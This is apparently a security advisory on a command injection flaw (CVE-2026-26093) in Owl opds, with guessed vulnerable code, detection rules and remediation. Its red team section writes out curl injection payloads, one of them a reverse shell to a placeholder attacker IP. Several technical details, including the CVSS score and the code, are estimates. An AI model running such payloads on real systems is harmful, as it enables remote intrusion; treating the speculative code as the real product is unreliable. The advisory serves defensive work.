CVE-2026-26093

Executive Summary

CVE-2026-26093 is a critical Command Injection vulnerability (CWE-77) discovered in Owl opds version 2.2.0.4. The flaw allows an unauthenticated attacker to execute arbitrary operating system commands by sending a specially crafted network request. The vulnerability stems from improper neutralization of special elements used in a command, enabling injection into system calls. No patch is currently available, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the impact is severe due to potential full system compromise.

Supply Chain & Package Security

This vulnerability affects the Owl opds package, which is not a standard NPM, PyPI, Go, or Ruby package. It is a standalone application. Supply chain risks include the lack of a signed release or integrity checks for the binary. Users should verify the authenticity of the downloaded package from the official source and monitor for updates.

CVSS Breakdown & Threat Level

The CVSS vector is UNKNOWN due to insufficient data. However, based on the nature of the vulnerability (Command Injection via network request), a reasonable estimate would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. Unauthenticated remote code execution with no user interaction.

Deep Dive & Mechanics

The vulnerability exists in the Owl opds application, which likely processes network requests to manage or serve OPDS (Open Publication Distribution System) content. The application fails to sanitize user-supplied input before passing it to a system command (e.g., via exec(), system(), or popen()).

Attack Vector:

1. An attacker sends a crafted HTTP request to the vulnerable endpoint.
2. The request contains special characters (e.g., ;, |, &, `) that are not neutralized.
3. The application concatenates the input into a command string and executes it.
4. The attacker's injected command runs with the privileges of the application process.

Example vulnerable code (pseudo):

import subprocess
user_input = request.GET.get('param')
command = "some_tool " + user_input
subprocess.call(command, shell=True)

Impact: Full system compromise, data exfiltration, lateral movement, or denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (Owl opds 2.2.0.4):

# Vulnerable: Direct concatenation with shell=True
import subprocess
def handle_request(request):
    user_input = request.GET.get('cmd')
    command = "process_opds " + user_input
    subprocess.call(command, shell=True)

Patched Code (Hypothetical):

# Patched: Use subprocess with list arguments and no shell
import subprocess
import shlex
def handle_request(request):
    user_input = request.GET.get('cmd')
    # Validate and sanitize input
    if not is_valid(user_input):
        return "Invalid input"
    command = ["process_opds", user_input]
    subprocess.call(command, shell=False)

Key Differences:

• Vulnerable: Uses shell=True and string concatenation, allowing injection.
• Patched: Uses shell=False and passes arguments as a list, preventing shell interpretation.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install Owl opds 2.2.0.4 on a test VM (e.g., Ubuntu 22.04).
2. Ensure the application is listening on a network port (e.g., 8080).
3. Use a tool like curl or netcat to send crafted requests.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /opds?cmd=).
2. Inject a command using shell metacharacters:

   curl "http://target:8080/opds?cmd=;id"
   

3. Observe the output of the id command in the response.
4. For reverse shell:

   curl "http://target:8080/opds?cmd=|bash -i >& /dev/tcp/attacker_ip/4444 0>&1"
   

Note: No public exploit code is available. The above is a generic example.

Blue Team (Defensive)

Detection:

• Monitor for unusual shell metacharacters in HTTP requests (e.g., ;, |, &, `).
• Look for commands like id, whoami, cat /etc/passwd in request parameters.
• Use WAF rules to block requests containing shell metacharacters.

Hunting:

• Search logs for cmd parameter with suspicious values.
• Check for outbound connections from the Owl opds server to unknown IPs.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2026_26093_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Owl opds 2.2.0.4"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-26093"
    strings:
        $cmd_param = "cmd=" nocase
        $shell_meta = /[;&|`$(){}]/
        $dangerous_cmd = /(id|whoami|cat|bash|sh|nc|ncat|python|perl|ruby)/ nocase
    condition:
        $cmd_param and $shell_meta and $dangerous_cmd
}

Sigma Rule

title: CVE-2026-26093 - Owl opds Command Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with shell metacharacters in the cmd parameter targeting Owl opds
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'cmd='
        cs-uri-query|re: '.*[;&|`$(){}].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in non-command contexts
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-26093 - Owl opds Command Injection Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"cmd="; http_uri;
    pcre:"/[;&|`$(){}]/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from untrusted networks.
2. Disable the vulnerable endpoint if possible.
3. Apply input validation and sanitization (allowlist approach).
4. Upgrade to a patched version once available.

Long-term Fix:

• Replace shell=True with shell=False and use argument lists.
• Implement strict input validation (e.g., reject any non-alphanumeric characters).
• Use a Web Application Firewall (WAF) to block injection attempts.

Workaround:

• Restrict access to the application via firewall rules.
• Run the application with minimal privileges (e.g., dedicated user).

Valters IT